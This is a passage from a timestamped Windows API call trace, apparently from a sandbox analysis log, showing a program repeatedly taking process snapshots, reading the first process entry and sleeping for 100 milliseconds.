th32ProcessID=0x0) returned 0x968 [0150.821] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.907] Sleep (dwMilliseconds=0x64) [0151.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0151.110] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.225] Sleep (dwMilliseconds=0x64) [0151.343] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab8 [0151.361] Process32First (in: hSnapshot=0x1ab8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.523] Sleep (dwMilliseconds=0x64) [0151.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0151.866] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.997] Sleep (dwMilliseconds=0x64) [0152.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab0 [0152.165] Process32First (in: hSnapshot=0x1ab0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.238] Sleep (dwMilliseconds=0x64) [0152.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0152.389] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.470] Sleep (dwMilliseconds=0x64) [0152.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0152.610] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.717] Sleep (dwMilliseconds=0x64) [0153.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0153.457] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.619] Sleep (dwMilliseconds=0x64) [0153.779] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20e4 [0153.789] Process32First (in: hSnapshot=0x20e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.871] Sleep (dwMilliseconds=0x64) [0154.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0154.037] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.120] Sleep (dwMilliseconds=0x64) [0154.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0154.268] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.435] Sleep (dwMilliseconds=0x64) [0154.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0154.620] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.721] Sleep (dwMilliseconds=0x64) [0154.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0154.846] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.930] Sleep (dwMilliseconds=0x64) [0155.864] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0155.876] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.113] Sleep (dwMilliseconds=0x64) [0156.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0156.315] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.421] Sleep (dwMilliseconds=0x64) [0156.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0156.595] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.280] Sleep (dwMilliseconds=0x64) [0157.462] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0157.472] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.602] Sleep (dwMilliseconds=0x64) [0157.735] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0157.747] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.861] Sleep (dwMilliseconds=0x64) [0157.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0157.989] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.092] Sleep (dwMilliseconds=0x64) [0158.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0158.239] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.376] Sleep (dwMilliseconds=0x64) [0158.497] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0158.507] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.620] Sleep (dwMilliseconds=0x64) [0158.755] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0158.768] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.837] Sleep (dwMilliseconds=0x64) [0158.945] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0158.954] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.067] Sleep (dwMilliseconds=0x64) [0159.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0159.201] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.267] Sleep (dwMilliseconds=0x64) [0159.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0159.390] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.580] Sleep (dwMilliseconds=0x64) [0159.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0159.722] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.818] Sleep (dwMilliseconds=0x64) [0159.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0159.862] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.975] Sleep (dwMilliseconds=0x64) [0160.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0160.012] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.130] Sleep (dwMilliseconds=0x64) [0160.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0160.188] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.334] Sleep (dwMilliseconds=0x64) [0160.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0160.365] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.600] Sleep (dwMilliseconds=0x64) [0160.622] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0160.853] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.969] Sleep (dwMilliseconds=0x64) [0161.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0161.015] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.187] Sleep (dwMilliseconds=0x64) [0161.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0161.216] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.347] Sleep (dwMilliseconds=0x64) [0161.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0161.390] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.530] Sleep (dwMilliseconds=0x64) [0161.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0161.583] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.664] Sleep (dwMilliseconds=0x64) [0161.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b08 [0161.716] Process32First (in: hSnapshot=0x1b08, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.851] Sleep (dwMilliseconds=0x64) [0161.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0161.905] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.998] Sleep (dwMilliseconds=0x64) [0162.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b28 [0162.047] Process32First (in: hSnapshot=0x1b28, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.134] Sleep (dwMilliseconds=0x64) [0162.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0162.186] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.323] Sleep (dwMilliseconds=0x64) [0162.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16f8 [0162.385] Process32First (in: hSnapshot=0x16f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.584] Sleep (dwMilliseconds=0x64) [0162.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0162.636] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.793] Sleep (dwMilliseconds=0x64) [0162.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16f8 [0162.844] Process32First (in: hSnapshot=0x16f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.999] Sleep (dwMilliseconds=0x64) [0163.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0163.189] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.351] Sleep (dwMilliseconds=0x64) [0163.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0163.411] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.646] Sleep (dwMilliseconds=0x64) [0163.667] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0163.711] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.831] Sleep (dwMilliseconds=0x64) [0163.880] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0163.894] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.053] Sleep (dwMilliseconds=0x64) [0164.083] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16f8 [0164.094] Process32First (in: hSnapshot=0x16f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.215] Sleep (dwMilliseconds=0x64) [0164.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0164.264] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.416] Sleep (dwMilliseconds=0x64) [0164.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0164.508] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.642] Sleep (dwMilliseconds=0x64) [0164.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0164.700] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.876] Sleep (dwMilliseconds=0x64) [0164.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0164.928] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.049] Sleep (dwMilliseconds=0x64) [0165.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0165.079] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.188] Sleep (dwMilliseconds=0x64) [0165.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0165.218] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.341] Sleep (dwMilliseconds=0x64) [0165.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0165.522] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.605] Sleep (dwMilliseconds=0x64) [0165.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0165.640] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.770] Sleep (dwMilliseconds=0x64) [0165.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0165.798] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.904] Sleep (dwMilliseconds=0x64) [0165.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0165.925] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.998] Sleep (dwMilliseconds=0x64) [0166.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x70c [0166.045] Process32First (in: hSnapshot=0x70c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.132] Sleep (dwMilliseconds=0x64) [0166.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164c [0166.231] Process32First (in: hSnapshot=0x164c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.318] Sleep (dwMilliseconds=0x64) [0166.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1658 [0166.382] Process32First (in: hSnapshot=0x1658, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.505] Sleep (dwMilliseconds=0x64) [0166.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164c [0166.538] Process32First (in: hSnapshot=0x164c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 